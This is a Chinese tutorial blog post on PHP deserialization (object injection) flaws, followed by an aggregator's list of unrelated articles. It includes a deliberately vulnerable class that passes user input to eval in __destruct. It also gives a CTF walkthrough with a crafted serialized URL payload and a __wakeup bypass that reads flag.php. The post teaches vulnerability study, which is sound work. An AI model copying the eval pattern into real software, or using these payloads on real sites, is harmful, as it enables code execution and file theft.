代码审计-PHP反序列化漏洞

什么是序列化

序列化可以实现将对象压缩并格式化,方便数据的传输和存储。
为什么要序列化?
PHP 文件在执行结束时会把对象销毁,如果下次要引用这个对象的话就很麻烦,所以就有了对象序列化,实现对象的长久存储,对象序列化之后存储起来,下次调用时直接调出来反序列化之后就可以使用了。
学习序列化要了解的基本内容。
类(Class): 类的定义包含了数据的形式以及对数据的操作。
对象:对象是类的实例。
方法:类中定义的函数。

<?php
//创建一个类 Test
 class Test
 { //定义 3 个属性,最后序列化后看一下这 3 个属性序列化后的结果。
 private $a = "private";
 public $b = "public";
 protected $c = "protected";
 }
//创建一个对象,对象是类的实例。
 $test = new Test();
//序列化 test 这个对象
 $data = serialize($test);
//打印序列化后的对象
 echo $data;
?>

展示结果(前提条件,php只有再apache下可以运行,之前我创建了txt,发现无法运行,避免踩坑)
序列化之后的结果,每个字符都具有具体含义

代码审计-PHP反序列化漏洞

O Object 对象
4 名字长度为 4 Test(对象名称)
3 表示对象中存在3个属性

s:7:"Testa"; &#x53D8;&#x91CF;&#x540D;&#x5B57;
s:7:"private"; &#x503C;
  • s string 字符串
  • 7 变量名长度为7 private私有的,会在Testa前后添加\00 ,即 \X00Test\X00a(因此长度为7)
  • s string 字符串
  • 7 变量的值长度为7 private 值
s:1:"b";
s:6:"public"
  • s string
  • 1 名字长度 1
  • b 变量名字
s:4:"*c";
s:9:"protected";
  • s string
  • 4 名字长度 4
  • *c 变量名字 \x00*\x00c

序列化的过程:
通过classTest创建一个对象,然后把这个对象进行序列化,打印出来

反序列化:

PHP 反序列化漏洞又叫做 PHP 对象注入漏洞,成因在于代码中的 unserialize() 接收的参数可控,从上面的例子看,这个函数的参数是一个序列化的对象,而序列化的对象只含有对象的属性,那我们就要利用对对象属性的篡改实现最终的攻击
代码如下:
(注意:Testa和*c的部分要留出空格来,与前面的的长度相符合)
输出要用var_dump而不是echo

<?php

$data = 'O:4:"test":3:{s:7:" Test a";s:7:"private";s:1:"b";s:6:"public";s:4:" * c";s:9:"protected";}';
$free = unserialize($data);
var_dump($free);
?>

结果如下:

object(__PHP_Incomplete_Class)#1 (4) {
  ["__PHP_Incomplete_Class_Name"]=>
  string(4) "test"
  [" Test a"]=>   //&#x540D;&#x5B57;
  string(7) "private"  //&#x503C;
  ["b"]=>  //&#x540D;&#x5B57;
  string(6) "public"   //&#x503C;
  [" * c"]=> //&#x540D;&#x5B57;
  string(9) "protected"   //&#x503C;
}

反序列化造成漏洞的原因:

  • 反序列化一般都是用户传递过来恶意代码,通过反序列化执行
  • 反序列化的字符串用户可以控制 用户可以修改任意的属性值。可以控制任意的变量值
  • 内容长度改变以后,前面的长度也需要跟着改变

序列化-魔术方法

魔术方法介绍:
方法:类中定义的函数。
上面我们演示了如何进行序列化和反序列化,但是我们仅使用了属性,也就是变量,变量我们可以当
做数据来看待,而编程就是对数据进行一些列的操作和处理,操作和处理数据的过程我们一般通过函数来
定义,函数在面向对象编程中我们一般称之为方法,所以后续如果老师说到方法就等于说的是函数功能。
特殊的方法-魔术方法。
PHP 将所有以 __ (两个下划线)开头的类方法保留为魔术方法,这些都是 PHP 内置的方法。
__construct 当一个对象创建时被调用,
__destruct 当一个对象销毁时被调用,
__wakeup() 使用 unserialize 时触发
__sleep() 使用 serialize 时触发
__call() 在对象上下文中调用不可访问的方法时触发
__callStatic() 在静态上下文中调用不可访问的方法时触发
__get() 用于从不可访问的属性读取数据
__set() 用于将数据写入不可访问的属性
__isset() 在不可访问的属性上调用 isset()或 empty()触发
__unset() 在不可访问的属性上使用 unset()时触发
__toString() 把类当作字符串使用时触发,返回值需要为字符串
__invoke() 当脚本尝试将对象作为函数调用时触发

Q:为什么要讲魔术方法?
A:魔术方法中经常定义一些危险函数。

反序列化漏洞出现需要满足两个条件:

  1. unserialize 时参数用户可控
  2. 参数被传递到方法中被执行,并且方法中使用了危险函数。
    什么是危险函数?比如 php 代码执行函数、文件读取函数、文件写入函数等等。

用户控制的这些值会传入到危险函数中执行,绝大部分和魔术函数有关

<?php
class Test{
 var $owen = "demo";
 function __destruct(){
//_destruct()函数中调用 eval 执行序列化对象中的语句
 @eval($this->owen);
 }
}
$owen = $_GET['owen'];
$len = strlen($owen)+1;
//&#x6784;&#x9020;&#x5E8F;&#x5217;&#x5316;&#x5BF9;&#x8C61;
$ser = "O:4:\"Test\":1:{s:4:\"owen\";s:".$len.":\"".$owen.";\";}";
// &#x53CD;&#x5E8F;&#x5217;&#x5316;&#x540C;&#x65F6;&#x89E6;&#x53D1;_destruct &#x51FD;&#x6570;
$xuegod = unserialize($ser);
?>

代码审计-PHP反序列化漏洞
实战操作:
1. <?php
2. class Owen{
3.     private $file='ctf.php';
4.     function __destruct(){
5.         if(!empty($this->file))
6.         {
7.             show_source($this->file);
8.         }
9.     }
10.     function __wakeup(){
11.         $this->file='ctf.php';
12.     }
13. }
14. if(!isset($_GET['file'])){     //isset&#xFF08;&#xFF09; &#x51FD;&#x6570;&#x7528;&#x4E8E;&#x68C0;&#x6D4B;&#x53D8;&#x91CF;&#x662F;&#x5426;&#x5DF2;&#x8BBE;&#x7F6E;&#x5E76;&#x4E14;&#x975E; NULL
15.     show_source('ctf.php');
16. }
17. else{
18.     unserialize($_GET['file']);
19. }
20. //flag in flag.php
21. ?>

解题思路:
发现结果是存在flag.php中,因此只要将对反序列化的值进行修改成flag.php就可以获取到最终flag
根据14行的功能要求,先获取OWEN的序列化,从而将其进行后面的unserialize

<?php
class Owen{
//修改 file=flag.php
 private $file='ctf.php';
 function __destruct(){
 if(!empty($this->file))
 {
 show_source($this->file);
 }
 }
 function __wakeup(){
 $this->file='ctf.php';
 } }
**$free = new Owen();**
**$s = serialize($free);**//&#x5C06;free&#x8FDB;&#x884C;&#x5E8F;&#x5217;&#x5316;&#x51FA;&#x6765;
**echo($s);**
?>

获取结果为:

O:4:"owen":1:{s:10:"owenfile";s:7:"ctf.php";}
&#x5C06;&#x5E8F;&#x5217;&#x5316;&#x7684;&#x503C;&#x8FDB;&#x884C;&#x4FEE;&#x6539;&#xFF0C;&#x4E3A;&#x4E4B;&#x540E;&#x7684;&#x53CD;&#x5E8F;&#x5217;&#x5316;&#x505A;&#x51C6;&#x5907;
&#x4FEE;&#x6539;&#x6210;&#xFF1A;
O:4:"owen":1:{s:10:"owenfile";s:8:"flag.php";}

通过get方式:
http://192.168.1.69/ctf.php?file=O:4:”owen”:1:{s:10:”owenfile”;s:8:”flag.php”;}
结果发现没有改变,分析一下原因:

发现这个魔术方法会在反序列时自动触发
将file重新修改成ctf.php,即flag.php->ctf.php

function __wakeup(){
         $this->file='ctf.php';
    }

因此需要绕过__wakeup()
绕过技巧:
当属性个数大于原本属性个数时,将不触发__wakeup()
继续修改:

O:4:"owen":1:{s:10:"owenfile";s:8:"flag.php";}

结果发现还是不成功,因为owen(属性名)file(变量名)长度不匹配,前面说到过private的长度特点:
O:4:”owen”:1:{s:10:”%00owen%00file”;s:8:”flag.php”;}
最后成功绕过!获取到flag

思路总结:
1.绕过wakeup魔术方法
属性个数大于后面实际的数量 则不触发wakeup
2.URL地址中空白字符用%00 反序列化s改成S可以使用\00作为空白字符

Original: https://www.cnblogs.com/ZZslBl0g/p/16602044.html
Author: ZZslBl0g
Title: 代码审计-PHP反序列化漏洞

原创文章受到原创版权保护。转载请注明出处:https://www.johngo689.com/578271/

转载文章受原作者版权保护。转载请注明原作者出处!

(0)

大家都在看

  • MySQL PXC集群的实现

    MHA:一主多从,主节点挂了就提升一个从节点作为主节点。 缺点:提升从节点为主节点需要时间,且只有一个节点能进行写操作,所以写的性能不高。 双主架构:两个主节点,两个节点都能进行读…

    Linux 2023年6月7日
    083
  • 0. 西门子 WinCC 组态软件 — 概述

    西门子 WinCC 组态软件 — 概述 1.西门子WinCC各产品线及定位 WinCC是由SIEMENS(西门子)公司开发的SCADA(数据采集与监控)系统,能高效控制…

    Linux 2023年6月7日
    092
  • Popovers

    弹出式窗口弹出式窗口是一个短暂的视图,当你点击一个控件或一个区域时,它就会出现在屏幕上的其他内容之上。通常情况下,弹出窗口包括一个箭头,指向它出现的位置。弹出式窗口可以是非模态或模…

    Linux 2023年6月7日
    099
  • Spring常见异常说明

    文章要点 Spring bean 的声明方式 Spring bean 的注入规则 Spring bean 的依赖查找规则 Spring bean 的名称定义方式和默认名称规则 XX…

    Linux 2023年6月6日
    098
  • Kibana 7.15.x [error][savedobjects-service] [.kibana] Action failed with ‘Request timed out’. Retrying attempt 报错处理。

    1、报错 近日在windows平台使用7.15.2 的elasticsearch 和kibana 时候,在开启es cmd窗口后,kibana无法启动,报错误下。 log [09:…

    Linux 2023年6月6日
    0127
  • 2020年12月-第02阶段-前端基础-CSS Day04

    浮动(float) *记忆 能够说出 CSS 的布局的三种机制 *理解 能够说出普通流在布局中的特点能够说出我们为什么用浮动能够说出我们为什么要清除浮动 *应用 能够利用浮动完成导…

    Linux 2023年6月8日
    086
  • 解决USB在虚拟机不显示问题

    电脑重装了下系统,顺带重新装了vmware,发现虚拟机无法识别USB设备,居然连右下角图标和可识别设备都不显示了。 网上找了很多方法,大多是纷繁复杂,且行不行都无法保证。 我发现一…

    Linux 2023年5月27日
    0125
  • 配置phpstorm支持less自动编译css

    安装node.js 安装less npm install less -g 安装css压缩插件less-plugin-clean-css(此步骤非必选) npm install le…

    Linux 2023年6月13日
    095
  • 高等代数:4 矩阵的运算

    4 矩阵的运算 1、数域K上两个矩阵称为 相等,如果它们的行数相等,列数也相等,并且它们的所有元素对应相等。 2、定义1:设(A=(a_{ij}),B=(b_{ij}))都是数域K…

    Linux 2023年6月8日
    096
  • 一文让你明白Redis持久化(RDB、AOF)

    为什么要持久化 Redis是内存数据库,如果不将内存中的数据库状态保存到磁盘中,那么一旦服务器进程退出,服务器的数据库状态就会消失(即断电即失)。为了保证数据不丢失,我们需要将内存…

    Linux 2023年5月28日
    0110
  • AI芯片的软件挑战

    本文是记录会议【ICPA联盟微课 | 第1期】燧原科技李彬:AI芯片的软件挑战内容。不得不说,什么叫高屋建瓴。 芯片软件的5个衡量指标:算力利用率、开发效率、生态兼容性、可移植性、…

    Linux 2023年6月7日
    091
  • go——数组

    GO——数组 一、一维数组声明方式: 1. var 数组名 [数组长度] 数组类型 var arr [5]int //定义一个数组,有5个元素,数组类型为整形 2.var 数组名=…

    Linux 2023年6月7日
    0109
  • linux 修改文件的创建时间—–touch命令

    1、首先不会用touch 可以自己man touch查看并学习,推出man按q 2、举例 给文件修改时间 touch -mt 201909052248 test.log -m mo…

    Linux 2023年6月13日
    098
  • 文件漏洞上传

    一般危害:xss csrf ssrf获取后台登录 影响业务逻辑文件上传 严重级别漏洞,可以直接接管你的服务器 初级别: $target_path = DVWA_WEB_PAGE_T…

    Linux 2023年6月6日
    0112
  • Redis配置参数详解

    Redis是一个应用非常广泛的高性能Key-Value型数据库,与memcached类似,但功能更加强大!本文将按照不同功能模块的方式,依次对各个功能模块的配置参数进行详细介绍。 …

    Linux 2023年5月28日
    089
  • Pycharm设置python文件头

    设置路径为: File->Setting->Editor->File and code Templates->Python Script 可用的预定义文件模…

    Linux 2023年6月8日
    0113
亲爱的 Coder【最近整理,可免费获取】👉 最新必读书单  | 👏 面试题下载  | 🌎 免费的AI知识星球